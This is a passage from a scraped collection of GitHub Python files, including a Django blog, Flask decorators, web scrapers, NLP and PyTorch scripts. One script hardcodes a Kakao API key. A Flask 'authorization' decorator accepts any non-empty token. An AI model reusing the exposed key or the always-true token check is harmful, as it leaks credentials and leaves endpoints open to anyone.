self.model.grid_search(tuple(for_grid))\r\n self._next()\r\n\r\n def _modal_modulation(self):\r\n \"\"\"\r\n modulate the hyper parameters im the classifier and move to the next screen\r\n :return:\r\n \"\"\"\r\n hiper_parms = list(self.model.model.get_params().keys())\r\n for_modolation = []\r\n for num, i in enumerate(self.typs):\r\n tamp = self.ui.param_tabel.item(0, num).text()\r\n if tamp == \"None\":\r\n for_modolation.append((hiper_parms[num], None))\r\n continue\r\n if self.typs[num] == type(None):\r\n tamp = _respond_none(tamp)\r\n else:\r\n tamp = self.typs[num](tamp)\r\n for_modolation.append((hiper_parms[num], tamp))\r\n self.model.model_modulation(for_modolation)\r\n self._next()\r\n\r\n def _next(self):\r\n \"\"\"\r\n move to the next screen\r\n :return:\r\n \"\"\"\r\n self.val_exact.MainWindow.show()\r\n self.val_exact.set_model(self.model)\r\n self.MainWindow.close()\r\n\r\n def _skylearn_help(self):\r\n \"\"\"\r\n open help on the chosen classifier\r\n :return:\r\n \"\"\"\r\n if self.model.model_name == \"XGBoost\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.GradientBoostingClassifier.html')\r\n elif self.model.model_name == \"Gaussian Naive Bayes\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.naive_bayes.GaussianNB.html')\r\n elif self.model.model_name == \"support vector machine\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.svm.SVC.html')\r\n elif self.model.model_name == \"random_forest\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html')\r\n elif self.model.model_name == \"logistic regression\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html')\r\n elif self.model.model_name == \"logistic regression\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html')\r\n elif self.model.model_name == \"LDA\":\r\n webbrowser.open('https://scikit-learn.org/stable/modules/generated/sklearn.discriminant_analysis.LinearDiscriminantAnalysis.html')","repo_name":"shaizae/GUI","sub_path":"grid_serch_menu.py","file_name":"grid_serch_menu.py","file_ext":"py","file_size_in_byte":8093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41435183157","text":"# coding: utf-8\nimport os, sys\nsys.path.append(os.getcwd())\n\nimport codecs\nfrom nltk import stem\n\nf1 = codecs.open('data/stop_list.txt', 'r', 'latin_1')\nstop_list = [x[:-1] for x in f1.readlines()]\nf1.close()\n\ndef isinStopList(word):\n return word in stop_list\n\nif __name__ == '__main__':\n stemmer = stem.PorterStemmer()\n f2 = codecs.open('data/sentiment.txt', 'r', 'latin_1')\n sentiments = f2.readlines()\n\n features_list = []\n for sentiment in sentiments:\n features = [sentiment.split()[0]]\n for word in sentiment.split()[1:]:\n word = stemmer.stem(word)\n if not isinStopList(word):\n features.append(word)\n features_list.append(features)\n\n print(features_list)\n","repo_name":"tacchan7412/NLP_fungo","sub_path":"chap8/72.py","file_name":"72.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"37449071306","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('questions_form/', views.questions_form, name='quesions_form'),\n path('questions_save/', views.questions_save, name='quesions_save'),\n path('display_questions/', views.display_questions, name='display_questions'),\n path('hitOrMiss/', views.hitOrMiss, name='hitOrMiss'),\n]\n","repo_name":"lahpm092/quizApp","sub_path":"quiz/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4007488872","text":"import jieba\nimport jieba.analyse\nfrom argparse import ArgumentParser\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\nfrom gensim import models,corpora\n\nsentence_t = '身為日本桌球名將同時身兼「台灣媳婦」的福原愛,去年生下寶貝女兒後吸金功力不減反增,一年收入上看1億元日幣,近日又與日本知名體育品牌簽下新的品牌大使合約,未來聲勢持續看漲。'\nsentence_t = sentence_t + '根據日媒報導,福原愛婚後已鮮少參加桌球賽事,專心經營家庭生活,然而她聲勢不減反增,代言更是接到手軟。尤其是她擔任的全日空形象大使,代言費用高達1.2億元日幣,其中還包括8千萬元日幣的合約費,荷包賺滿滿。'\nsentence_t = sentence_t + '此外,身為台灣好媳婦的福原愛幫夫運也超強。日前攜手老公江宏傑出席日本珠寶品牌代言記者會,兩人更一起合拍了家電廣告,如今福原愛又拿下日本運動品牌新合約,只能說一家人不只婚後幸福,荷包也進帳滿滿。(整理:實習編輯王世盈)'\n\nthis_link = 'https://www.cw.com.tw/article/article.action?id=5089814'\nnews_links = ['https://www.cw.com.tw/article/article.action?id=5089814',\n 'https://www.cw.com.tw/article/article.action?id=5089773',\n 'https://www.cw.com.tw/article/article.action?id=5089832']\nchannels = {'產業':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=7',\n '財經':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=8',\n '國際':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=9',\n '管理':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=10',\n '生活':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=11',\n '環境':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=12',\n '教育':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=13',\n '政治':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=77',\n '健康':'https://www.cw.com.tw/masterChannel.action?idMasterChannel=79'}\ncw_today = 'https://www.cw.com.tw/today'\n\ndef get_web_page(url):\n resp = requests.get(\n url=url,\n cookies={'over18': '1'}\n )\n if resp.status_code != 200:\n print('Invalid url:', resp.url)\n return None\n else:\n return resp.text\n\n\ndef get_today_topic(dom):\n soup = BeautifulSoup(dom, 'html.parser')\n subArticles = soup.find_all('section', 'subArticle')\n\n links = [caption.find('a')['href'] for caption in subArticles]\n return links\n\n\ndef get_channel_topic(dom):\n links = []\n soup = BeautifulSoup(dom, 'html.parser')\n article_grp = soup.find_all('div', 'articleGroup')\n # print(article_grp)\n for article in article_grp:\n articles = article.find_all('div', 'pic')\n # print(articles)\n for caption in articles:\n links.append(caption.find('a')['href'])\n return links\n\ndef get_articles(dom):\n soup = BeautifulSoup(dom, 'html.parser')\n keyword_section = soup.find('section', 'keyword list-inline')\n keyword_all_a = keyword_section.find_all('a')\n keywords = [key_word.string for key_word in keyword_all_a]\n article = soup.find('section', 'nevin')\n scripts = soup.find_all('script')\n for s in scripts:\n s.extract()\n links = soup.find_all('a')\n for s in links:\n s.extract()\n title = article.find('h2').string\n content = article.get_text()\n return {'title': title, 'content': content, 'keyword': keywords}\n\ndef news_cut(link):\n page = get_web_page(link)\n article = get_articles(page)\n # jieba.load_userdict(\"my_dict.txt\")\n # jieba.load_userdict(\"news_dict.txt\")\n # jieba.analyse.set_stop_words(\"stop_words.txt\")\n # 刪除多餘字串\n article_content = re.sub(r'[\\n\\xa0\\W你妳我他她它們]', \"\", article['content'])\n article_content = re.sub('自己', \"\", article_content)\n # article_content = re.sub('(\\u3000)|(\\x00)|(nbsp)', '', article_content)\n print(article['title'])\n\n words_t = jieba.cut(article_content, cut_all=False)\n\n word_t_list = [word for word in words_t]\n # print(word_t_list)\n return word_t_list\n\ndef news_tags_parse(link, topK=10):\n page = get_web_page(news_link)\n article = get_articles(page)\n # print(page)\n print(article['title'])\n # print(article['content'])\n print(article['keyword'])\n jieba.load_userdict(\"my_dict.txt\")\n jieba.load_userdict(\"news_dict.txt\")\n jieba.analyse.set_stop_words(\"stop_words.txt\")\n tags = jieba.analyse.extract_tags(article['content'], topK)\n return tags\n\ndef test_jieba():\n words_t = jieba.cut(sentence_t, cut_all=False)\n key_num = {}\n word_t_list = []\n for word in words_t:\n word_t_list.extend(word)\n key_num[word] = key_num.get(word, 0) + 1\n\n word_t_list = [word for word in words_t]\n print(word_t_list)\n jieba.analyse.set_stop_words(\"stop_words.txt\")\n tags = jieba.analyse.extract_tags(sentence_t, 5)\n print(\":\".join(tags))\n print(key_num)\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument(\"-t\", \"--threshold\", help=\"push threshold\", dest=\"threshold\", default=\"30\")\n args = parser.parse_args()\n threshold = int(args.threshold)\n # test_jieba()\n\n documents = []\n channel_links = {}\n for key, value in channels.items():\n # print(key)\n page = get_web_page(value)\n topics = get_channel_topic(page)\n # print(topics)\n channel_links[key] = topics\n topic_keys = ['環境', '健康', '生活', '管理', '國際']\n for key in topic_keys:\n print('*TOPIC: ' + key)\n for news_link in channel_links[key]:\n news_words = news_cut(news_link)\n documents.append(news_words)\n\n\n dictionary = corpora.Dictionary(documents)\n corpus = [dictionary.doc2bow(doc) for doc in documents] # generate the corpus\n tf_idf = models.TfidfModel(corpus) # the constructor\n\n # this may convert the docs into the TF-IDF space.\n # Here will convert all docs to TFIDF\n corpus_tfidf = tf_idf[corpus]\n\n # train the lsi model\n lsi_list = [models.LsiModel(corpus_tfidf, id2word=dictionary, num_topics=i) for i in range(2,5)]\n\n for lsi in lsi_list:\n print('*************************************')\n topics = lsi.show_topics(num_words=20, log=0)\n for tpc in topics:\n print(tpc)\n\n # channel_links = {}\n # for key, value in channels.items():\n # # print(key)\n # page = get_web_page(value)\n # topics = get_channel_topic(page)\n # # print(topics)\n # channel_links[key] = topics\n # print(channel_links)\n\n\n # today = get_web_page(cw_today)\n # topics = get_today_topic(today)\n # print(topics)\n\n\n # for news_link in topics:\n # tags = news_tags_parse(news_link)\n # print(\"keywords: \" + \", \".join(tags))\n","repo_name":"jiann1115/python","sub_path":"news_parse/cw_magz.py","file_name":"cw_magz.py","file_ext":"py","file_size_in_byte":6988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22284392678","text":"import numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom stats.tensor import tensor\n\n\ndef fit(pdfs, parameters, observations, iter, lr):\n \"\"\"Estimates the parameters of a mixture model via maximum likelihood maximization.\n Uses gradient descent for optimization.\n\n\n Parameters\n ----------\n pdfs : List of callable pdfs\n Callable probability density functions (likelihood function)\n expecting an array of observations as the only argument.\n parameters : List of list\n List of list of parameters that are subject to optimization.\n e.g. for a bimodal gaussian mixture: [[mu_1, sigma_1], [mu_2, sigma_2]]\n observations : ndarray\n Observations from an unknown pdf which parameters are subject to be estimated\n iter : float\n Maximum number of iterations\n lr : float\n Gradient descent learning rate\n\n Returns\n -------\n\n \"\"\"\n\n # number of models/classes in mixture\n K = len(parameters)\n\n # initialize mixing coefficients with random values\n mixcoeffs = np.random.rand(K)\n mixcoeffs /= np.sum(mixcoeffs)\n\n # make the coefficients visible to the update step\n for k in range(K):\n mixcoeff = Variable(tensor(mixcoeffs[k]), requires_grad=True)\n parameters[k].append(mixcoeff)\n\n for i in range(iter):\n likelihood = 0\n for k in range(K):\n # multiply the likelihood with the mixing coefficients\n # mixing coefficient: p(z_k = 1)\n p_z = parameters[k][-1].expand(observations.size())\n likelihood += pdfs[k](observations) * p_z\n\n expectation = torch.mean(torch.log(likelihood))\n\n # add constraint sum(mixcoeffs) = 1 via lagrange multiplier\n for k in range(K):\n expectation -= 1.0 * parameters[k][-1]\n expectation += 1.0 # c = 1\n\n if np.isnan(expectation.data[0]):\n raise RuntimeError('Singular state. Try different initial parameters')\n\n # Determine gradients\n expectation.backward()\n\n # Update parameters with gradient descent\n for k in range(K):\n for param in parameters[k]:\n param.data.add_(lr * param.grad.data)\n param.grad.data.zero_()\n\n return expectation.data[0]\n\n\nif __name__ == '__main__':\n from stats.distributions import Normal\n \"\"\"\n Estimate mean and std of a gaussian mixture model via MixtureModel-MLE on Kx10000 observations\n \"\"\"\n\n np.random.seed(0)\n\n # number of gaussian models in mixture\n K = 2\n\n pdfs = []\n params = []\n true_params = []\n xs = []\n\n for k in range(K):\n # Sample observations from a bimodal normal distribution function with different parameter\n true_mean = np.random.uniform(-10, 10)\n true_std = np.random.uniform(0.5, 3.0)\n xs.append(true_mean + np.random.randn(np.random.randint(500, 2000)) * true_std)\n\n # Define likelihood function of model\n mean_estimate = Variable(tensor(true_mean+5.*np.random.randn()), requires_grad=True)\n std_estimate = Variable(tensor(1.0), requires_grad=True)\n\n pdfs.append(Normal(mean_estimate, std_estimate))\n\n params.append([mean_estimate, std_estimate])\n true_params.append([true_mean, true_std])\n\n x = np.concatenate(xs, axis=0)\n observations = Variable(tensor(x))\n\n log_likelihood = fit(pdfs, params, observations, iter=500, lr=0.1)\n\n print('Log likelihood: %7.5f' % log_likelihood)\n for k in range(K):\n print('k=%d mean=% 7.5f std=% 7.5f coeff=% 7.5f' % (k, params[k][0].data[0], params[k][1].data[0], params[k][2].data[0]))\n\n \"\"\"\n Plot true and estimated distributions\n \"\"\"\n\n import matplotlib.pyplot as plt\n n, _, _ = plt.hist(x, 100, normed=True)\n\n # plot distributions\n np_pdf = lambda x, mean, std: 1./np.sqrt(2.0*np.pi*std*std) * np.exp(- ((x-mean)**2) / (2.0 * std*std))\n xx = np.linspace(np.min(x), np.max(x), 1000)\n\n for k in range(K):\n true_y = np_pdf(xx, true_params[k][0], true_params[k][1])\n estimated_y = np_pdf(xx, params[k][0].data[0], params[k][1].data[0])\n\n plt.plot(xx, true_y, '-.', label='Target pdf k=%d'%(k+1))\n plt.plot(xx, estimated_y, '-', label='Estimated pdf %d' % (k+1))\n\n plt.legend()\n\n plt.show()\n\n\n\n\n\n","repo_name":"mlosch/pytorch-stats","sub_path":"stats/estimation/mm.py","file_name":"mm.py","file_ext":"py","file_size_in_byte":4418,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"10301575168","text":"import json\nfrom functools import wraps\nfrom flask import request, Response\nfrom jsonschema import validate, ValidationError, FormatChecker\nfrom exception import ErrorMessage\n\n\ndef process_params(param_config=None, header_config=None, check_all_fields=True, *args, **kwargs):\n def deco(f):\n def incorrect_input_fields_error(msg):\n body = {\n \"s\": 0,\n \"m\": msg,\n \"d\": {}\n }\n response = Response(\n json.dumps(body), status=400, content_type='application/json')\n return response\n\n def extract_params(request):\n if request.method == 'POST':\n return request.get_json()\n else:\n return request.args\n\n def extract_headers(headers, config):\n required_header = {}\n all_present = True\n if config:\n for header_name, header_type in config.iteritems():\n required_header[header_name] = headers(header_name)\n if required_header[header_name]:\n required_header[header_name] = header_type(\n required_header[header_name])\n else:\n all_present = False\n return required_header, all_present\n\n @wraps(f)\n def decorated_function(*args, **kwargs):\n try:\n params = extract_params(request)\n validate(params, param_config, format_checker=FormatChecker())\n if header_config:\n header_params, all_params_present = extract_headers(\n request.headers.get, header_config)\n if not all_params_present:\n return incorrect_input_fields_error(\"invalid headers\")\n return f(params=params, header_params=header_params, *args, **kwargs)\n else:\n return f(params=params, *args, **kwargs)\n except ValidationError as e:\n return incorrect_input_fields_error(e.message)\n return decorated_function\n return deco\n\n\ndef authorization(f):\n def unauthorized_customer_error():\n body = {\n \"s\": 0,\n \"m\": \"Token invalid!\",\n \"d\": {},\n }\n response = Response(\n json.dumps(body), status=401, content_type='application/json')\n return response\n\n def check_token(token, customerId=None):\n if token != None:\n return True\n else:\n return False\n\n def abstract_customerId(request):\n if request.method == 'POST':\n customerId = request.form.get(\n 'customerId') or request.get_json().get(\"customerId\")\n else:\n customerId = request.args.get('customerId')\n return customerId\n\n @wraps(f)\n def decorated_function(*args, **kwargs):\n customerId = abstract_customerId(request)\n token = request.headers.get(\"Authorization\")\n if token:\n if customerId:\n if check_token(token, customerId):\n return f(auth=True, *args, **kwargs)\n return unauthorized_customer_error()\n return decorated_function\n\n\ndef raise_exception(msg_prefix='', *args, **kwargs):\n def deco(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n try:\n return f(*args, **kwargs)\n except Exception as e:\n msg = msg_prefix + str(e)\n raise ErrorMessage(msg)\n return decorated_function\n return deco\n","repo_name":"nimeshkverma/Flask-Swagger_Integration","sub_path":"app/v1/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33866357054","text":"#! /usr/bin/env python3\n\nimport random\nimport inkex\n\nclass RandomDelete(inkex.Effect):\n\n def add_arguments(self, pars):\n pars.add_argument(\"--prob\", type=float, default=50, help=\"Probability of deletion\")\n\n def effect(self):\n if len(self.svg.selected) > 0:\n for element in self.svg.selection.values():\n if random.random() < self.options.prob/100:\n element.delete()\n else:\n self.msg('Please select some paths first.')\n return \n \nif __name__ == '__main__':\n RandomDelete().run()","repo_name":"eridur-de/mightyscape-1.1-deprecated","sub_path":"extensions/fablabchemnitz/random_delete/random_delete.py","file_name":"random_delete.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"82"} +{"seq_id":"74120925708","text":"from django.contrib.postgres.search import (SearchQuery, SearchRank,\n SearchVector)\nfrom django.core.mail import send_mail\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.db.models import Count\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.views.decorators.http import require_POST\nfrom django.views.generic import ListView\nfrom taggit.models import Tag\n\nfrom .forms import CommentForm, EmailPostForm, SearchForm\nfrom .models import Comment, Post\n\n# def index(request):\n# return render(request, \"mysite/index.html\")\n\n\ndef post_share(request, post_id):\n # Retrieve post by id\n post = get_object_or_404(Post, id=post_id, status=Post.Status.PUBLISHED)\n sent = False\n\n if request.method == \"POST\":\n # form submitted\n form = EmailPostForm(request.POST)\n if form.is_valid():\n # All form fields passed validation\n cd = form.cleaned_data\n post_url = request.build_absolute_uri(post.get_absolute_url())\n subject = f\"{cd['name']} recommends you read {post.title}\"\n message = f\"Read {post.title} at {post_url}\\n\\n{cd['name']}'s comments: {cd['comments']}\"\n send_mail(\n subject, message, \"your_account_to_send_email@gmail.com\", [cd[\"to\"]]\n )\n sent = True\n else:\n form = EmailPostForm()\n\n return render(\n request, \"blog/post/share.html\", {\"post\": post, \"form\": form, \"sent\": sent}\n )\n\n\ndef post_list(request, tag_slug=None):\n \"\"\"Generate a list of all published posts.\"\"\"\n post_list = Post.published.all()\n tag = None\n if tag_slug:\n tag = get_object_or_404(Tag, slug=tag_slug)\n post_list = post_list.filter(tags__in=[tag])\n # Pagination using built in paginator\n paginator = Paginator(post_list, 7)\n page_number = request.GET.get(\"page\", 1)\n try:\n posts = paginator.page(page_number)\n except PageNotAnInteger:\n # If page_number is not an integer deliver the first page\n posts = paginator.page(1)\n except EmptyPage:\n # If page_number is out of range deliver last page of results\n posts = paginator.page(paginator.num_pages)\n # posts = paginator.page(page_number)\n\n return render(request, \"blog/post/list.html\", {\"posts\": posts, \"tag\": tag})\n\n\ndef post_detail(request, year, month, day, post):\n \"\"\"Return a specific post by 'id'.\"\"\"\n post = get_object_or_404(\n Post,\n status=Post.Status.PUBLISHED,\n slug=post,\n publish__year=year,\n publish__month=month,\n publish__day=day,\n )\n # Display a list of active comments\n comments = post.comments.filter(active=True)\n # Display the comment form\n form = CommentForm()\n\n # List similar posts based on tags\n post_tags_ids = post.tags.values_list(\"id\", flat=True)\n similar_posts = Post.published.filter(tags__in=post_tags_ids).exclude(id=post.id)\n similar_posts = similar_posts.annotate(same_tags=Count(\"tags\")).order_by(\n \"-same_tags\", \"-publish\"\n )[:4]\n\n return render(\n request,\n \"blog/post/detail.html\",\n {\n \"post\": post,\n \"comments\": comments,\n \"form\": form,\n \"similar_posts\": similar_posts,\n },\n )\n\n\nclass PostListView(ListView):\n \"\"\"Alternate post list views.\"\"\"\n\n queryset = Post.published.all()\n context_object_name = \"posts\"\n paginate_by = 3\n template_name = \"blog/post/list.html\"\n\n\n@require_POST\ndef post_comment(request, post_id):\n post = get_object_or_404(Post, id=post_id, status=Post.Status.PUBLISHED)\n comment = None\n # If a comment was posted\n form = CommentForm(data=request.POST)\n if form.is_valid():\n # Create a Comment Object without saving it to the database\n comment = form.save(commit=False)\n # Associate the comment with a Post\n comment.post = post\n # save the comment to the database\n comment.save()\n return render(\n request,\n \"blog/post/comment.html\",\n {\"post\": post, \"form\": form, \"comment\": comment},\n )\n\n\ndef post_search(request):\n form = SearchForm()\n query = None\n results = []\n\n if \"query\" in request.GET:\n form = SearchForm(request.GET)\n if form.is_valid():\n query = form.cleaned_data[\"query\"]\n search_vector = SearchVector(\"title\", weight=\"A\") + SearchVector(\n \"body\", weight=\"B\"\n )\n search_query = SearchQuery(query)\n results = (\n Post.published.annotate(\n search=search_vector, rank=SearchRank(search_vector, search_query)\n )\n .filter(rank__gte=0.3)\n .order_by(\"-rank\")\n )\n\n return render(\n request,\n \"blog/post/search.html\",\n {\"form\": form, \"query\": query, \"results\": results},\n )\n","repo_name":"davidjnevin/Django_Blog_Poetry","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"18536172947","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n\ndef BudgetFlight( destination: str, min_days: int, max_days: int):\n\n options = Options()\n options.add_experimental_option(\"detach\", True)\n\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()),\n options=options)\n\n driver.get(\"https://www.azair.eu/\")\n\n#START STATION\n default_start_station = \"Poznan\"\n start_station = driver.find_element(By.CSS_SELECTOR, 'input[name=srcAirport]')\n start_station.send_keys(Keys.BACKSPACE, Keys.BACKSPACE, Keys.BACKSPACE, default_start_station, Keys.ENTER)\n\n#DESTINATION\n if destination == '' or 'Anywhere':\n destination = 'Anywhere'\n\n destination_station = driver.find_element(By.CSS_SELECTOR, 'input[name=dstAirport]')\n destination_station.send_keys(Keys.BACKSPACE, Keys.BACKSPACE, Keys.BACKSPACE, destination, Keys.ENTER)\n\n#DAYS\n if min_days == 0:\n min_days = 3\n\n minimum_days = driver.find_element(By.CSS_SELECTOR, 'input[name=minDaysStay]')\n minimum_days.send_keys(Keys.BACKSPACE, min_days, Keys.ENTER)\n\n if max_days == 0:\n max_days = 8\n\n maximum_days = driver.find_element(By.CSS_SELECTOR, 'input[name=maxDaysStay]')\n maximum_days.send_keys(Keys.BACKSPACE, max_days, Keys.ENTER)\n\n#TRAVELLERS\n default_number_of_travellers = 4\n select_travellers = driver.find_element(By.CSS_SELECTOR, 'select[name=adults]')\n select_travellers.send_keys(default_number_of_travellers)\n\n#PRICES IN PLN\n default_value = \"PLN\"\n select_value = driver.find_element(By.CSS_SELECTOR, 'select[name=currency]')\n select_value.send_keys(default_value)\n\n#SEARCH\n Search_Button = driver.find_element(By.CSS_SELECTOR, 'input[type=submit]')\n Search_Button.click()\n\n#DIRECT FLIGHTS\n max_changes = 0\n direct_flight = driver.find_element(By.CSS_SELECTOR, 'input[name=maxChng]')\n direct_flight.send_keys(Keys.BACKSPACE, max_changes, Keys.ENTER)\n\n#SEARCH AGAIN\n Search_Button_Again = driver.find_element(By.CSS_SELECTOR, 'input[type=submit]')\n Search_Button_Again.click()\n time.sleep(2)\n\n#MAXIMUM PRICE\n total_price = driver.find_elements(By.CSS_SELECTOR, 'span[class=tp]')\n prices = []\n counter = 0\n\n for element in total_price:\n price_text = element.text.replace(' zł', '')\n price = int(price_text)\n if price < 300:\n prices.append(element.text)\n counter += 1\n\n#STATION'S NAMES\n start_station_name = driver.find_elements(By.CSS_SELECTOR, 'span[class=from]')\n start_list = []\n\n for element in start_station_name[:4*counter]:\n start_list.append(element.text)\n\n new_list = []\n\n for index in range(len(start_list)):\n if index % 2 == 0 or start_list[index] != '':\n new_list.append(start_list[index].split(' ', 1)[1])\n\n another_list = []\n\n for i in range(0, len(new_list), 2):\n new_element = new_list[i] + \" - \" + new_list[i + 1]\n another_list.append(new_element)\n\n#LINKS\n links = []\n bookmark_div = driver.find_elements(By.CLASS_NAME, 'bookmark')\n for element in bookmark_div[0:counter]:\n link = element.find_element(By.TAG_NAME, \"a\")\n final_link = link.get_attribute(\"href\")\n links.append(final_link)\n\n completed_list = [(x, y, z) for x, y, z in zip(another_list, prices, links)]\n\n driver.quit()\n\n return completed_list","repo_name":"katarzynamichalskaa/Travel-Bot","sub_path":"BudgetFlight.py","file_name":"BudgetFlight.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"30434034879","text":"from experiments.permuted_mnist import wa_pmnist\n\nepochs = [1, 2, 5, 10]\nlearning_rates = [0.01, 0.005, 0.001]\nhidden_sizes = [100, 500, 1000, 2000]\nhidden_layers = [1, 2, 5, 10]\nno_experiences = [5, 10, 20]\nweighting_methods = ['average', 'inverted_t', 'inverted_t_adapted']\n\n\nfor epoch in epochs:\n overwrite_dict = {'epochs': epoch,\n 'log_path': f'./logs/wa_exp_pmnist/epochs/{epoch}/'}\n wa_pmnist(overwrite_dict)\n\nfor learning_rate in learning_rates:\n overwrite_dict = {'learning_rate': learning_rate,\n 'log_path': f'./logs/wa_exp_pmnist/learning_rate/{learning_rate}/'}\n wa_pmnist(overwrite_dict)\n\nfor hidden_size in hidden_sizes:\n overwrite_dict = {'hidden_size': hidden_size,\n 'log_path': f'./logs/wa_exp_pmnist/hidden_size/{hidden_size}/'}\n wa_pmnist(overwrite_dict)\n\nfor hidden_layer in hidden_layers:\n overwrite_dict = {'hidden_layers': hidden_layer,\n 'log_path': f'./logs/wa_exp_pmnist/hidden_layers/{hidden_layer}/'}\n wa_pmnist(overwrite_dict)\n\nfor no_experience in no_experiences:\n overwrite_dict = {'no_experiences': no_experience,\n 'log_path': f'./logs/wa_exp_pmnist/experiences/{no_experience}/'}\n wa_pmnist(overwrite_dict)\n\nfor weighting_method in weighting_methods:\n overwrite_dict = {'weighting_method': weighting_method,\n 'log_path': f'./logs/wa_exp_pmnist/weighting_method/{weighting_method}/'}\n wa_pmnist(overwrite_dict)\n","repo_name":"nikvogel/WeightAveragingCL","sub_path":"wa_experiments.py","file_name":"wa_experiments.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"32299302397","text":"# 백준 1189번 컴백홈\nimport sys\nput = sys.stdin.readline\n\n\ndef solution(r, c, k):\n global R, C, K\n if k == K and r == 0 and c == C - 1:\n global answer\n answer += 1\n\n else:\n for i, j in [(r-1, c), (r+1, c), (r, c-1), (r, c+1)]:\n if 0 <= i < R and 0 <= j < C and data[i][j] == '.':\n data[i][j] = 'T'\n solution(i, j, k+1)\n data[i][j] = '.'\n\n\nR, C, K = map(int, put().split())\ndata = [list(put().strip()) for i in range(R)]\ndata[R-1][0] = 'T'\nanswer = 0\n\nsolution(R-1, 0, 1)\nprint(answer)","repo_name":"KiwiDot/BOJ-Solution","sub_path":"01000 ~ 01999/1189번: 컴백홈/boj1189.py","file_name":"boj1189.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"74814244039","text":"# coding=utf-8\nimport requests\nimport os\nimport django\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"mysite.settings\")\ndjango.setup()\nfrom search.models import Store\nfrom api_engine import getStock\n\n\ndef getStore(s, pub):\n headers = {'Authorization': 'KakaoAK 793a3aea80b0d4afed533b515e500f9a'}\n info = ['place_name', 'road_address_name', 'phone', 'x', 'y']\n seoul = ['서울', '경기', '인천']\n stores = {}\n for i in s:\n url = 'https://dapi.kakao.com/v2/local/search/keyword.json?query=' + pub + i\n res = requests.get(url, headers=headers)\n result = res.json()\n result['documents'][0]['place_name'] = i \n stores[i] = {}\n for j in info:\n stores[i][j] = result['documents'][0][j]\n if any(a in result['documents'][0]['road_address_name'] for a in seoul):\n stores[i]['in_seoul'] = True\n else:\n stores[i]['in_seoul'] = False\n stores[i]['stock'] = 0\n print(stores)\n return stores\n\nif __name__ == \"__main__\":\n store = getStock('9788936433598')\n kb = list(store.keys())\n result = getStore(kb, '교보문고')\n Store.objects.all().delete()\n n = 1\n for i in result:\n q = Store(**result[i])\n q.id = n # id를 1부터 재설정\n q.save()\n n += 1\n","repo_name":"yachoo0611/kyobostock","sub_path":"store_info.py","file_name":"store_info.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"5394820942","text":"menu ={'짜장면':'단무지',\n '삼겹살':'김치',\n '피자':'콜라',\n '라면':'김치',\n '치킨':'치킨무'\n }\n\nsel = input('%s중 좋아하는 것은?' %(menu.keys()))\nif sel in menu :\n print('<%s> 궁합 음식은 <%s> 입니다.' %(sel, menu[sel])) #menu.get(sel) 과 동일\nelif sel ==\"끝\":\n break\nelse :\n print('그런 음식이 없네요. 확인해 보세요.')\n","repo_name":"ironareum/Python_Study_2020","sub_path":"Python_Basic/04.리스트 튜플 딕셔너리/음식궁합프로그램.py","file_name":"음식궁합프로그램.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"32716612939","text":"from abc import ABC, abstractmethod\nfrom typing import (\n Any,\n Dict,\n Generic,\n Iterable,\n List,\n Literal,\n Type,\n 